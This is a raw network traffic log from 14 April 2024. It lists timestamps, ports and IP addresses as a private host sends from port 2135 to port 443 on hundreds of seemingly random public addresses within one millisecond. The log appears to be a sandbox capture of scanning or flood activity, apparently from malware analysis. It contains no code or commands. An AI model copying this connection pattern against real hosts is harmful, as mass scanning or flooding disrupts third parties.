Apr 14, 2024 03:59:53.107165098 CEST	443	2135	42.244.213.47	192.168.2.23
Apr 14, 2024 03:59:53.107170105 CEST	2135	443	192.168.2.23	37.208.185.170
Apr 14, 2024 03:59:53.107171059 CEST	2135	443	192.168.2.23	212.182.195.32
Apr 14, 2024 03:59:53.107173920 CEST	2135	443	192.168.2.23	109.39.236.35
Apr 14, 2024 03:59:53.107176065 CEST	2135	443	192.168.2.23	212.207.117.52
Apr 14, 2024 03:59:53.107177019 CEST	443	2135	212.182.195.32	192.168.2.23
Apr 14, 2024 03:59:53.107176065 CEST	2135	443	192.168.2.23	5.165.102.176
Apr 14, 2024 03:59:53.107188940 CEST	2135	443	192.168.2.23	5.233.211.120
Apr 14, 2024 03:59:53.107193947 CEST	2135	443	192.168.2.23	42.244.213.47
Apr 14, 2024 03:59:53.107196093 CEST	443	2135	5.233.211.120	192.168.2.23
Apr 14, 2024 03:59:53.107199907 CEST	2135	443	192.168.2.23	148.189.110.41
Apr 14, 2024 03:59:53.107203007 CEST	2135	443	192.168.2.23	117.192.220.127
Apr 14, 2024 03:59:53.107203007 CEST	2135	443	192.168.2.23	178.40.49.10
Apr 14, 2024 03:59:53.107208967 CEST	2135	443	192.168.2.23	212.182.195.32
Apr 14, 2024 03:59:53.107212067 CEST	443	2135	117.192.220.127	192.168.2.23
Apr 14, 2024 03:59:53.107214928 CEST	2135	443	192.168.2.23	123.108.101.217
Apr 14, 2024 03:59:53.107217073 CEST	443	2135	178.40.49.10	192.168.2.23
Apr 14, 2024 03:59:53.107220888 CEST	443	2135	123.108.101.217	192.168.2.23
Apr 14, 2024 03:59:53.107230902 CEST	2135	443	192.168.2.23	37.37.9.85
Apr 14, 2024 03:59:53.107233047 CEST	2135	443	192.168.2.23	5.233.211.120
Apr 14, 2024 03:59:53.107238054 CEST	443	2135	37.37.9.85	192.168.2.23
Apr 14, 2024 03:59:53.107244015 CEST	2135	443	192.168.2.23	79.76.11.65
Apr 14, 2024 03:59:53.107249975 CEST	443	2135	79.76.11.65	192.168.2.23
Apr 14, 2024 03:59:53.107255936 CEST	2135	443	192.168.2.23	117.192.220.127
Apr 14, 2024 03:59:53.107271910 CEST	2135	443	192.168.2.23	123.77.213.198
Apr 14, 2024 03:59:53.107276917 CEST	443	2135	123.77.213.198	192.168.2.23
Apr 14, 2024 03:59:53.107285976 CEST	2135	443	192.168.2.23	178.40.49.10
Apr 14, 2024 03:59:53.107290030 CEST	2135	443	192.168.2.23	79.76.11.65
Apr 14, 2024 03:59:53.107297897 CEST	2135	443	192.168.2.23	123.77.213.198
Apr 14, 2024 03:59:53.107305050 CEST	2135	443	192.168.2.23	79.127.79.26
Apr 14, 2024 03:59:53.107305050 CEST	2135	443	192.168.2.23	202.38.34.172
Apr 14, 2024 03:59:53.107315063 CEST	443	2135	79.127.79.26	192.168.2.23
Apr 14, 2024 03:59:53.107326984 CEST	443	2135	202.38.34.172	192.168.2.23
Apr 14, 2024 03:59:53.107330084 CEST	2135	443	192.168.2.23	5.71.136.170
Apr 14, 2024 03:59:53.107331038 CEST	2135	443	192.168.2.23	109.42.73.101
Apr 14, 2024 03:59:53.107336998 CEST	443	2135	109.42.73.101	192.168.2.23
Apr 14, 2024 03:59:53.107337952 CEST	443	2135	5.71.136.170	192.168.2.23
Apr 14, 2024 03:59:53.107341051 CEST	2135	443	192.168.2.23	117.118.137.48
Apr 14, 2024 03:59:53.107341051 CEST	2135	443	192.168.2.23	79.127.79.26
Apr 14, 2024 03:59:53.107347965 CEST	2135	443	192.168.2.23	210.96.44.132
Apr 14, 2024 03:59:53.107347965 CEST	2135	443	192.168.2.23	123.24.25.14
Apr 14, 2024 03:59:53.107352018 CEST	2135	443	192.168.2.23	37.37.9.85
Apr 14, 2024 03:59:53.107352018 CEST	2135	443	192.168.2.23	94.57.120.37
Apr 14, 2024 03:59:53.107353926 CEST	443	2135	117.118.137.48	192.168.2.23
Apr 14, 2024 03:59:53.107357979 CEST	443	2135	123.24.25.14	192.168.2.23
Apr 14, 2024 03:59:53.107362032 CEST	443	2135	94.57.120.37	192.168.2.23
Apr 14, 2024 03:59:53.107362986 CEST	443	2135	210.96.44.132	192.168.2.23
Apr 14, 2024 03:59:53.107372046 CEST	2135	443	192.168.2.23	202.38.34.172
Apr 14, 2024 03:59:53.107372999 CEST	2135	443	192.168.2.23	5.71.136.170
Apr 14, 2024 03:59:53.107377052 CEST	2135	443	192.168.2.23	2.207.93.74
Apr 14, 2024 03:59:53.107377052 CEST	2135	443	192.168.2.23	212.97.74.220
Apr 14, 2024 03:59:53.107379913 CEST	2135	443	192.168.2.23	109.42.73.101
Apr 14, 2024 03:59:53.107379913 CEST	2135	443	192.168.2.23	5.183.169.234
Apr 14, 2024 03:59:53.107386112 CEST	2135	443	192.168.2.23	118.220.62.35
Apr 14, 2024 03:59:53.107387066 CEST	443	2135	5.183.169.234	192.168.2.23
Apr 14, 2024 03:59:53.107387066 CEST	443	2135	2.207.93.74	192.168.2.23
Apr 14, 2024 03:59:53.107392073 CEST	2135	443	192.168.2.23	123.108.101.217
Apr 14, 2024 03:59:53.107392073 CEST	2135	443	192.168.2.23	117.125.253.230
Apr 14, 2024 03:59:53.107392073 CEST	2135	443	192.168.2.23	94.40.36.122
Apr 14, 2024 03:59:53.107392073 CEST	2135	443	192.168.2.23	123.114.208.182
Apr 14, 2024 03:59:53.107393026 CEST	443	2135	118.220.62.35	192.168.2.23
Apr 14, 2024 03:59:53.107394934 CEST	2135	443	192.168.2.23	202.5.204.226
Apr 14, 2024 03:59:53.107403994 CEST	443	2135	117.125.253.230	192.168.2.23
Apr 14, 2024 03:59:53.107404947 CEST	2135	443	192.168.2.23	109.242.204.141
Apr 14, 2024 03:59:53.107404947 CEST	2135	443	192.168.2.23	2.11.15.173
Apr 14, 2024 03:59:53.107404947 CEST	443	2135	202.5.204.226	192.168.2.23
Apr 14, 2024 03:59:53.107408047 CEST	2135	443	192.168.2.23	117.118.137.48
Apr 14, 2024 03:59:53.107409000 CEST	2135	443	192.168.2.23	210.96.44.132
Apr 14, 2024 03:59:53.107409000 CEST	2135	443	192.168.2.23	123.24.25.14
Apr 14, 2024 03:59:53.107412100 CEST	443	2135	94.40.36.122	192.168.2.23
Apr 14, 2024 03:59:53.107414961 CEST	443	2135	109.242.204.141	192.168.2.23
Apr 14, 2024 03:59:53.107418060 CEST	443	2135	212.97.74.220	192.168.2.23
Apr 14, 2024 03:59:53.107423067 CEST	443	2135	123.114.208.182	192.168.2.23
Apr 14, 2024 03:59:53.107431889 CEST	443	2135	2.11.15.173	192.168.2.23
Apr 14, 2024 03:59:53.107433081 CEST	2135	443	192.168.2.23	202.180.25.216
Apr 14, 2024 03:59:53.107433081 CEST	2135	443	192.168.2.23	5.183.169.234
Apr 14, 2024 03:59:53.107433081 CEST	2135	443	192.168.2.23	94.57.120.37
Apr 14, 2024 03:59:53.107433081 CEST	2135	443	192.168.2.23	202.5.204.226
Apr 14, 2024 03:59:53.107433081 CEST	2135	443	192.168.2.23	2.207.93.74
Apr 14, 2024 03:59:53.107436895 CEST	2135	443	192.168.2.23	117.238.146.53
Apr 14, 2024 03:59:53.107436895 CEST	2135	443	192.168.2.23	117.125.253.230
Apr 14, 2024 03:59:53.107441902 CEST	2135	443	192.168.2.23	118.220.62.35
Apr 14, 2024 03:59:53.107443094 CEST	443	2135	117.238.146.53	192.168.2.23
Apr 14, 2024 03:59:53.107444048 CEST	443	2135	202.180.25.216	192.168.2.23
Apr 14, 2024 03:59:53.107454062 CEST	2135	443	192.168.2.23	109.242.204.141
Apr 14, 2024 03:59:53.107462883 CEST	2135	443	192.168.2.23	2.11.15.173
Apr 14, 2024 03:59:53.107470989 CEST	2135	443	192.168.2.23	42.34.38.165
Apr 14, 2024 03:59:53.107472897 CEST	2135	443	192.168.2.23	94.40.36.122
Apr 14, 2024 03:59:53.107475996 CEST	443	2135	42.34.38.165	192.168.2.23
Apr 14, 2024 03:59:53.107484102 CEST	2135	443	192.168.2.23	210.100.178.252
Apr 14, 2024 03:59:53.107489109 CEST	443	2135	210.100.178.252	192.168.2.23
Apr 14, 2024 03:59:53.107489109 CEST	2135	443	192.168.2.23	212.97.74.220
Apr 14, 2024 03:59:53.107490063 CEST	2135	443	192.168.2.23	123.114.208.182
Apr 14, 2024 03:59:53.107489109 CEST	2135	443	192.168.2.23	202.180.25.216
Apr 14, 2024 03:59:53.107490063 CEST	2135	443	192.168.2.23	117.238.146.53
Apr 14, 2024 03:59:53.107505083 CEST	2135	443	192.168.2.23	210.240.167.29
Apr 14, 2024 03:59:53.107512951 CEST	443	2135	210.240.167.29	192.168.2.23
Apr 14, 2024 03:59:53.107518911 CEST	2135	443	192.168.2.23	210.100.178.252
Apr 14, 2024 03:59:53.107522964 CEST	2135	443	192.168.2.23	212.6.252.174
Apr 14, 2024 03:59:53.107530117 CEST	443	2135	212.6.252.174	192.168.2.23
Apr 14, 2024 03:59:53.107542992 CEST	2135	443	192.168.2.23	148.184.178.31
Apr 14, 2024 03:59:53.107542992 CEST	2135	443	192.168.2.23	212.206.189.177
Apr 14, 2024 03:59:53.107542992 CEST	2135	443	192.168.2.23	79.14.218.183
Apr 14, 2024 03:59:53.107542992 CEST	2135	443	192.168.2.23	5.124.131.208
Apr 14, 2024 03:59:53.107548952 CEST	2135	443	192.168.2.23	42.34.38.165
Apr 14, 2024 03:59:53.107553005 CEST	2135	443	192.168.2.23	123.182.54.178
Apr 14, 2024 03:59:53.107553005 CEST	2135	443	192.168.2.23	212.109.22.106
Apr 14, 2024 03:59:53.107557058 CEST	443	2135	212.206.189.177	192.168.2.23
Apr 14, 2024 03:59:53.107557058 CEST	443	2135	148.184.178.31	192.168.2.23
Apr 14, 2024 03:59:53.107562065 CEST	443	2135	123.182.54.178	192.168.2.23
Apr 14, 2024 03:59:53.107566118 CEST	443	2135	5.124.131.208	192.168.2.23
Apr 14, 2024 03:59:53.107572079 CEST	443	2135	79.14.218.183	192.168.2.23
Apr 14, 2024 03:59:53.107573986 CEST	2135	443	192.168.2.23	109.29.236.99
Apr 14, 2024 03:59:53.107573986 CEST	2135	443	192.168.2.23	210.240.167.29
Apr 14, 2024 03:59:53.107573986 CEST	2135	443	192.168.2.23	212.6.252.174
Apr 14, 2024 03:59:53.107578039 CEST	443	2135	212.109.22.106	192.168.2.23
Apr 14, 2024 03:59:53.107579947 CEST	2135	443	192.168.2.23	42.138.213.212
Apr 14, 2024 03:59:53.107585907 CEST	443	2135	42.138.213.212	192.168.2.23
Apr 14, 2024 03:59:53.107588053 CEST	2135	443	192.168.2.23	148.163.118.235
Apr 14, 2024 03:59:53.107589960 CEST	443	2135	109.29.236.99	192.168.2.23
Apr 14, 2024 03:59:53.107590914 CEST	2135	443	192.168.2.23	5.124.131.208
Apr 14, 2024 03:59:53.107595921 CEST	443	2135	148.163.118.235	192.168.2.23
Apr 14, 2024 03:59:53.107609987 CEST	2135	443	192.168.2.23	212.206.189.177
Apr 14, 2024 03:59:53.107609987 CEST	2135	443	192.168.2.23	178.152.230.25
Apr 14, 2024 03:59:53.107613087 CEST	2135	443	192.168.2.23	123.60.186.49
Apr 14, 2024 03:59:53.107615948 CEST	443	2135	178.152.230.25	192.168.2.23
Apr 14, 2024 03:59:53.107615948 CEST	2135	443	192.168.2.23	148.184.178.31
Apr 14, 2024 03:59:53.107615948 CEST	2135	443	192.168.2.23	79.14.218.183
Apr 14, 2024 03:59:53.107618093 CEST	443	2135	123.60.186.49	192.168.2.23
Apr 14, 2024 03:59:53.107619047 CEST	2135	443	192.168.2.23	212.109.22.106
Apr 14, 2024 03:59:53.107619047 CEST	2135	443	192.168.2.23	123.182.54.178
Apr 14, 2024 03:59:53.107620955 CEST	2135	443	192.168.2.23	202.174.202.143
Apr 14, 2024 03:59:53.107620955 CEST	2135	443	192.168.2.23	148.163.118.235
Apr 14, 2024 03:59:53.107625008 CEST	2135	443	192.168.2.23	42.138.213.212
Apr 14, 2024 03:59:53.107635975 CEST	2135	443	192.168.2.23	109.29.236.99
Apr 14, 2024 03:59:53.107636929 CEST	443	2135	202.174.202.143	192.168.2.23
Apr 14, 2024 03:59:53.107647896 CEST	2135	443	192.168.2.23	5.17.205.31
Apr 14, 2024 03:59:53.107647896 CEST	2135	443	192.168.2.23	212.88.24.7
Apr 14, 2024 03:59:53.107651949 CEST	2135	443	192.168.2.23	2.209.96.77
Apr 14, 2024 03:59:53.107656956 CEST	443	2135	5.17.205.31	192.168.2.23
Apr 14, 2024 03:59:53.107659101 CEST	2135	443	192.168.2.23	178.152.230.25
Apr 14, 2024 03:59:53.107664108 CEST	2135	443	192.168.2.23	210.142.2.202
Apr 14, 2024 03:59:53.107664108 CEST	2135	443	192.168.2.23	109.162.49.135
Apr 14, 2024 03:59:53.107666016 CEST	443	2135	2.209.96.77	192.168.2.23
Apr 14, 2024 03:59:53.107670069 CEST	443	2135	210.142.2.202	192.168.2.23
Apr 14, 2024 03:59:53.107671976 CEST	443	2135	212.88.24.7	192.168.2.23
Apr 14, 2024 03:59:53.107680082 CEST	2135	443	192.168.2.23	123.100.143.103
Apr 14, 2024 03:59:53.107680082 CEST	2135	443	192.168.2.23	212.101.251.118
Apr 14, 2024 03:59:53.107681036 CEST	443	2135	109.162.49.135	192.168.2.23
Apr 14, 2024 03:59:53.107681036 CEST	2135	443	192.168.2.23	202.174.202.143
Apr 14, 2024 03:59:53.107685089 CEST	443	2135	123.100.143.103	192.168.2.23
Apr 14, 2024 03:59:53.107693911 CEST	2135	443	192.168.2.23	118.76.22.221
Apr 14, 2024 03:59:53.107696056 CEST	443	2135	212.101.251.118	192.168.2.23
Apr 14, 2024 03:59:53.107697964 CEST	2135	443	192.168.2.23	118.6.155.173
Apr 14, 2024 03:59:53.107697964 CEST	2135	443	192.168.2.23	2.209.96.77
Apr 14, 2024 03:59:53.107701063 CEST	443	2135	118.76.22.221	192.168.2.23
Apr 14, 2024 03:59:53.107702017 CEST	2135	443	192.168.2.23	94.186.232.234
Apr 14, 2024 03:59:53.107703924 CEST	2135	443	192.168.2.23	212.127.126.207
Apr 14, 2024 03:59:53.107703924 CEST	2135	443	192.168.2.23	118.147.96.117
Apr 14, 2024 03:59:53.107705116 CEST	443	2135	118.6.155.173	192.168.2.23
Apr 14, 2024 03:59:53.107711077 CEST	443	2135	94.186.232.234	192.168.2.23
Apr 14, 2024 03:59:53.107713938 CEST	443	2135	212.127.126.207	192.168.2.23
Apr 14, 2024 03:59:53.107714891 CEST	2135	443	192.168.2.23	42.235.229.75
Apr 14, 2024 03:59:53.107714891 CEST	2135	443	192.168.2.23	5.17.205.31
Apr 14, 2024 03:59:53.107714891 CEST	2135	443	192.168.2.23	212.88.24.7
Apr 14, 2024 03:59:53.107717991 CEST	2135	443	192.168.2.23	123.100.143.103
Apr 14, 2024 03:59:53.107719898 CEST	443	2135	42.235.229.75	192.168.2.23
Apr 14, 2024 03:59:53.107722998 CEST	443	2135	118.147.96.117	192.168.2.23
Apr 14, 2024 03:59:53.107729912 CEST	2135	443	192.168.2.23	210.142.2.202
Apr 14, 2024 03:59:53.107729912 CEST	2135	443	192.168.2.23	109.162.49.135
Apr 14, 2024 03:59:53.107734919 CEST	2135	443	192.168.2.23	212.101.251.118
Apr 14, 2024 03:59:53.107738018 CEST	2135	443	192.168.2.23	123.60.186.49
Apr 14, 2024 03:59:53.107738018 CEST	2135	443	192.168.2.23	118.76.22.221
Apr 14, 2024 03:59:53.107738972 CEST	2135	443	192.168.2.23	118.6.155.173
Apr 14, 2024 03:59:53.107745886 CEST	2135	443	192.168.2.23	212.127.126.207
Apr 14, 2024 03:59:53.107747078 CEST	2135	443	192.168.2.23	42.235.229.75
Apr 14, 2024 03:59:53.107745886 CEST	2135	443	192.168.2.23	94.186.232.234
Apr 14, 2024 03:59:53.107745886 CEST	2135	443	192.168.2.23	118.147.96.117
Apr 14, 2024 03:59:53.107767105 CEST	2135	443	192.168.2.23	2.72.172.161
Apr 14, 2024 03:59:53.107767105 CEST	2135	443	192.168.2.23	118.90.34.35
Apr 14, 2024 03:59:53.107768059 CEST	2135	443	192.168.2.23	148.172.189.59
Apr 14, 2024 03:59:53.107774019 CEST	443	2135	148.172.189.59	192.168.2.23
Apr 14, 2024 03:59:53.107774019 CEST	443	2135	118.90.34.35	192.168.2.23
Apr 14, 2024 03:59:53.107779980 CEST	443	2135	2.72.172.161	192.168.2.23
Apr 14, 2024 03:59:53.107781887 CEST	2135	443	192.168.2.23	210.24.135.19
Apr 14, 2024 03:59:53.107789993 CEST	443	2135	210.24.135.19	192.168.2.23
Apr 14, 2024 03:59:53.107790947 CEST	2135	443	192.168.2.23	148.231.154.5
Apr 14, 2024 03:59:53.107791901 CEST	2135	443	192.168.2.23	79.25.212.160
Apr 14, 2024 03:59:53.107791901 CEST	2135	443	192.168.2.23	109.171.102.10
Apr 14, 2024 03:59:53.107795954 CEST	443	2135	148.231.154.5	192.168.2.23
Apr 14, 2024 03:59:53.107801914 CEST	443	2135	79.25.212.160	192.168.2.23
Apr 14, 2024 03:59:53.107804060 CEST	2135	443	192.168.2.23	202.99.149.72
Apr 14, 2024 03:59:53.107810020 CEST	2135	443	192.168.2.23	118.90.34.35
Apr 14, 2024 03:59:53.107810974 CEST	443	2135	202.99.149.72	192.168.2.23
Apr 14, 2024 03:59:53.107812881 CEST	2135	443	192.168.2.23	148.172.189.59
Apr 14, 2024 03:59:53.107815027 CEST	443	2135	109.171.102.10	192.168.2.23
Apr 14, 2024 03:59:53.107824087 CEST	2135	443	192.168.2.23	118.230.203.188
Apr 14, 2024 03:59:53.107824087 CEST	2135	443	192.168.2.23	2.72.172.161
Apr 14, 2024 03:59:53.107829094 CEST	2135	443	192.168.2.23	210.24.135.19
Apr 14, 2024 03:59:53.107834101 CEST	443	2135	118.230.203.188	192.168.2.23
Apr 14, 2024 03:59:53.107842922 CEST	2135	443	192.168.2.23	148.231.154.5
Apr 14, 2024 03:59:53.107848883 CEST	2135	443	192.168.2.23	210.180.30.227
Apr 14, 2024 03:59:53.107848883 CEST	2135	443	192.168.2.23	79.25.212.160
Apr 14, 2024 03:59:53.107850075 CEST	2135	443	192.168.2.23	109.171.102.10
Apr 14, 2024 03:59:53.107856989 CEST	2135	443	192.168.2.23	202.99.149.72
Apr 14, 2024 03:59:53.107857943 CEST	2135	443	192.168.2.23	117.168.2.236
Apr 14, 2024 03:59:53.107857943 CEST	2135	443	192.168.2.23	42.198.16.105
Apr 14, 2024 03:59:53.107857943 CEST	2135	443	192.168.2.23	210.35.203.120
Apr 14, 2024 03:59:53.107860088 CEST	443	2135	210.180.30.227	192.168.2.23
Apr 14, 2024 03:59:53.107860088 CEST	2135	443	192.168.2.23	117.163.85.0
Apr 14, 2024 03:59:53.107862949 CEST	443	2135	117.168.2.236	192.168.2.23
Apr 14, 2024 03:59:53.107863903 CEST	443	2135	42.198.16.105	192.168.2.23
Apr 14, 2024 03:59:53.107866049 CEST	443	2135	210.35.203.120	192.168.2.23
Apr 14, 2024 03:59:53.107867956 CEST	443	2135	117.163.85.0	192.168.2.23
Apr 14, 2024 03:59:53.107867956 CEST	2135	443	192.168.2.23	118.230.203.188
Apr 14, 2024 03:59:53.107876062 CEST	2135	443	192.168.2.23	178.242.105.171
Apr 14, 2024 03:59:53.107881069 CEST	443	2135	178.242.105.171	192.168.2.23
Apr 14, 2024 03:59:53.107882023 CEST	2135	443	192.168.2.23	210.137.195.153
Apr 14, 2024 03:59:53.107887030 CEST	2135	443	192.168.2.23	178.34.254.128
Apr 14, 2024 03:59:53.107888937 CEST	2135	443	192.168.2.23	109.231.141.21
Apr 14, 2024 03:59:53.107888937 CEST	2135	443	192.168.2.23	148.65.58.31
Apr 14, 2024 03:59:53.107889891 CEST	2135	443	192.168.2.23	42.95.77.147
Apr 14, 2024 03:59:53.107892036 CEST	443	2135	210.137.195.153	192.168.2.23
Apr 14, 2024 03:59:53.107896090 CEST	443	2135	109.231.141.21	192.168.2.23
Apr 14, 2024 03:59:53.107898951 CEST	443	2135	42.95.77.147	192.168.2.23
Apr 14, 2024 03:59:53.107902050 CEST	443	2135	178.34.254.128	192.168.2.23
Apr 14, 2024 03:59:53.107903957 CEST	2135	443	192.168.2.23	210.180.30.227
Apr 14, 2024 03:59:53.107904911 CEST	443	2135	148.65.58.31	192.168.2.23
Apr 14, 2024 03:59:53.107906103 CEST	2135	443	192.168.2.23	42.198.16.105
Apr 14, 2024 03:59:53.107909918 CEST	2135	443	192.168.2.23	123.20.19.188
Apr 14, 2024 03:59:53.107909918 CEST	2135	443	192.168.2.23	117.163.85.0
Apr 14, 2024 03:59:53.107913971 CEST	2135	443	192.168.2.23	117.168.2.236
Apr 14, 2024 03:59:53.107913971 CEST	2135	443	192.168.2.23	210.35.203.120
Apr 14, 2024 03:59:53.107917070 CEST	443	2135	123.20.19.188	192.168.2.23
Apr 14, 2024 03:59:53.107918024 CEST	2135	443	192.168.2.23	202.39.42.127
Apr 14, 2024 03:59:53.107918024 CEST	2135	443	192.168.2.23	5.126.86.194
Apr 14, 2024 03:59:53.107920885 CEST	2135	443	192.168.2.23	178.242.105.171
Apr 14, 2024 03:59:53.107920885 CEST	2135	443	192.168.2.23	42.95.77.147
Apr 14, 2024 03:59:53.107923031 CEST	2135	443	192.168.2.23	210.137.195.153
Apr 14, 2024 03:59:53.107923985 CEST	443	2135	202.39.42.127	192.168.2.23
Apr 14, 2024 03:59:53.107930899 CEST	2135	443	192.168.2.23	109.231.141.21
Apr 14, 2024 03:59:53.107930899 CEST	2135	443	192.168.2.23	148.65.58.31
Apr 14, 2024 03:59:53.107933044 CEST	443	2135	5.126.86.194	192.168.2.23
Apr 14, 2024 03:59:53.107939959 CEST	2135	443	192.168.2.23	178.34.254.128
Apr 14, 2024 03:59:53.107948065 CEST	2135	443	192.168.2.23	123.20.19.188
Apr 14, 2024 03:59:53.107959986 CEST	2135	443	192.168.2.23	202.39.42.127
Apr 14, 2024 03:59:53.107978106 CEST	2135	443	192.168.2.23	123.163.45.63
Apr 14, 2024 03:59:53.107980013 CEST	2135	443	192.168.2.23	5.126.86.194
Apr 14, 2024 03:59:53.107980013 CEST	2135	443	192.168.2.23	202.52.19.249
Apr 14, 2024 03:59:53.107980967 CEST	2135	443	192.168.2.23	42.151.80.89
Apr 14, 2024 03:59:53.107980967 CEST	2135	443	192.168.2.23	109.12.192.212
Apr 14, 2024 03:59:53.107984066 CEST	443	2135	123.163.45.63	192.168.2.23
Apr 14, 2024 03:59:53.107986927 CEST	443	2135	202.52.19.249	192.168.2.23
Apr 14, 2024 03:59:53.107990026 CEST	443	2135	42.151.80.89	192.168.2.23
Apr 14, 2024 03:59:53.107990980 CEST	2135	443	192.168.2.23	79.233.142.190
Apr 14, 2024 03:59:53.107992887 CEST	2135	443	192.168.2.23	5.7.214.140
Apr 14, 2024 03:59:53.107996941 CEST	443	2135	79.233.142.190	192.168.2.23
Apr 14, 2024 03:59:53.107997894 CEST	443	2135	5.7.214.140	192.168.2.23
Apr 14, 2024 03:59:53.108001947 CEST	443	2135	109.12.192.212	192.168.2.23
Apr 14, 2024 03:59:53.108006001 CEST	2135	443	192.168.2.23	42.176.159.80
Apr 14, 2024 03:59:53.108014107 CEST	443	2135	42.176.159.80	192.168.2.23
Apr 14, 2024 03:59:53.108014107 CEST	2135	443	192.168.2.23	123.75.6.255
Apr 14, 2024 03:59:53.108022928 CEST	2135	443	192.168.2.23	123.163.45.63
Apr 14, 2024 03:59:53.108022928 CEST	2135	443	192.168.2.23	5.7.214.140
Apr 14, 2024 03:59:53.108023882 CEST	443	2135	123.75.6.255	192.168.2.23
Apr 14, 2024 03:59:53.108036041 CEST	2135	443	192.168.2.23	202.52.19.249
Apr 14, 2024 03:59:53.108037949 CEST	2135	443	192.168.2.23	109.12.192.212
Apr 14, 2024 03:59:53.108042002 CEST	2135	443	192.168.2.23	123.39.154.228
Apr 14, 2024 03:59:53.108050108 CEST	443	2135	123.39.154.228	192.168.2.23
Apr 14, 2024 03:59:53.108056068 CEST	2135	443	192.168.2.23	79.233.142.190
Apr 14, 2024 03:59:53.108062983 CEST	2135	443	192.168.2.23	42.176.159.80
Apr 14, 2024 03:59:53.108062983 CEST	2135	443	192.168.2.23	118.119.162.58
Apr 14, 2024 03:59:53.108066082 CEST	2135	443	192.168.2.23	42.151.80.89
Apr 14, 2024 03:59:53.108066082 CEST	2135	443	192.168.2.23	123.75.6.255
Apr 14, 2024 03:59:53.108068943 CEST	2135	443	192.168.2.23	202.15.66.12
Apr 14, 2024 03:59:53.108072996 CEST	443	2135	118.119.162.58	192.168.2.23
Apr 14, 2024 03:59:53.108077049 CEST	2135	443	192.168.2.23	123.139.133.89
Apr 14, 2024 03:59:53.108078003 CEST	443	2135	202.15.66.12	192.168.2.23
Apr 14, 2024 03:59:53.108079910 CEST	2135	443	192.168.2.23	5.185.236.130
Apr 14, 2024 03:59:53.108083010 CEST	2135	443	192.168.2.23	123.39.154.228
Apr 14, 2024 03:59:53.108087063 CEST	443	2135	123.139.133.89	192.168.2.23
Apr 14, 2024 03:59:53.108088017 CEST	443	2135	5.185.236.130	192.168.2.23
Apr 14, 2024 03:59:53.108095884 CEST	2135	443	192.168.2.23	118.5.251.45
Apr 14, 2024 03:59:53.108099937 CEST	2135	443	192.168.2.23	210.165.51.4
Apr 14, 2024 03:59:53.108099937 CEST	443	2135	118.5.251.45	192.168.2.23
Apr 14, 2024 03:59:53.108099937 CEST	2135	443	192.168.2.23	118.242.225.13
Apr 14, 2024 03:59:53.108107090 CEST	443	2135	210.165.51.4	192.168.2.23
Apr 14, 2024 03:59:53.108114958 CEST	2135	443	192.168.2.23	202.15.66.12
Apr 14, 2024 03:59:53.108115911 CEST	443	2135	118.242.225.13	192.168.2.23
Apr 14, 2024 03:59:53.108117104 CEST	2135	443	192.168.2.23	118.119.162.58
Apr 14, 2024 03:59:53.108119965 CEST	2135	443	192.168.2.23	212.62.120.94
Apr 14, 2024 03:59:53.108122110 CEST	2135	443	192.168.2.23	123.139.133.89
Apr 14, 2024 03:59:53.108122110 CEST	2135	443	192.168.2.23	79.52.221.197
Apr 14, 2024 03:59:53.108125925 CEST	2135	443	192.168.2.23	2.193.43.186
Apr 14, 2024 03:59:53.108125925 CEST	2135	443	192.168.2.23	178.10.24.211
Apr 14, 2024 03:59:53.108131886 CEST	443	2135	2.193.43.186	192.168.2.23
Apr 14, 2024 03:59:53.108133078 CEST	443	2135	79.52.221.197	192.168.2.23
Apr 14, 2024 03:59:53.108135939 CEST	443	2135	178.10.24.211	192.168.2.23
Apr 14, 2024 03:59:53.108138084 CEST	2135	443	192.168.2.23	202.52.242.95
Apr 14, 2024 03:59:53.108138084 CEST	2135	443	192.168.2.23	5.185.236.130
Apr 14, 2024 03:59:53.108138084 CEST	2135	443	192.168.2.23	118.5.251.45
Apr 14, 2024 03:59:53.108141899 CEST	2135	443	192.168.2.23	118.242.225.13
Apr 14, 2024 03:59:53.108141899 CEST	443	2135	212.62.120.94	192.168.2.23
Apr 14, 2024 03:59:53.108149052 CEST	2135	443	192.168.2.23	210.165.51.4
Apr 14, 2024 03:59:53.108149052 CEST	443	2135	202.52.242.95	192.168.2.23
Apr 14, 2024 03:59:53.108154058 CEST	2135	443	192.168.2.23	37.52.25.148
Apr 14, 2024 03:59:53.108159065 CEST	443	2135	37.52.25.148	192.168.2.23
Apr 14, 2024 03:59:53.108159065 CEST	2135	443	192.168.2.23	210.21.56.59
Apr 14, 2024 03:59:53.108164072 CEST	2135	443	192.168.2.23	109.160.23.179
Apr 14, 2024 03:59:53.108164072 CEST	443	2135	210.21.56.59	192.168.2.23
Apr 14, 2024 03:59:53.108164072 CEST	2135	443	192.168.2.23	2.193.43.186
Apr 14, 2024 03:59:53.108164072 CEST	2135	443	192.168.2.23	178.10.24.211
Apr 14, 2024 03:59:53.108174086 CEST	443	2135	109.160.23.179	192.168.2.23
Apr 14, 2024 03:59:53.108175039 CEST	2135	443	192.168.2.23	79.52.221.197
Apr 14, 2024 03:59:53.108184099 CEST	2135	443	192.168.2.23	212.62.120.94
Apr 14, 2024 03:59:53.108185053 CEST	2135	443	192.168.2.23	202.52.242.95
Apr 14, 2024 03:59:53.108186007 CEST	2135	443	192.168.2.23	37.52.25.148
Apr 14, 2024 03:59:53.108195066 CEST	2135	443	192.168.2.23	178.2.44.181
Apr 14, 2024 03:59:53.108200073 CEST	443	2135	178.2.44.181	192.168.2.23
Apr 14, 2024 03:59:53.108221054 CEST	2135	443	192.168.2.23	210.21.56.59
Apr 14, 2024 03:59:53.108227968 CEST	2135	443	192.168.2.23	123.211.25.132
Apr 14, 2024 03:59:53.108234882 CEST	443	2135	123.211.25.132	192.168.2.23
Apr 14, 2024 03:59:53.108241081 CEST	2135	443	192.168.2.23	212.24.72.12
Apr 14, 2024 03:59:53.108244896 CEST	443	2135	212.24.72.12	192.168.2.23
Apr 14, 2024 03:59:53.108247995 CEST	2135	443	192.168.2.23	202.71.61.217
Apr 14, 2024 03:59:53.108253956 CEST	2135	443	192.168.2.23	37.244.214.18
Apr 14, 2024 03:59:53.108254910 CEST	2135	443	192.168.2.23	109.182.81.75
Apr 14, 2024 03:59:53.108254910 CEST	2135	443	192.168.2.23	94.237.123.208
Apr 14, 2024 03:59:53.108254910 CEST	2135	443	192.168.2.23	212.92.217.39
Apr 14, 2024 03:59:53.108254910 CEST	2135	443	192.168.2.23	109.160.23.179
Apr 14, 2024 03:59:53.108254910 CEST	2135	443	192.168.2.23	178.2.44.181
Apr 14, 2024 03:59:53.108258009 CEST	2135	443	192.168.2.23	2.149.157.207
Apr 14, 2024 03:59:53.108258009 CEST	443	2135	202.71.61.217	192.168.2.23
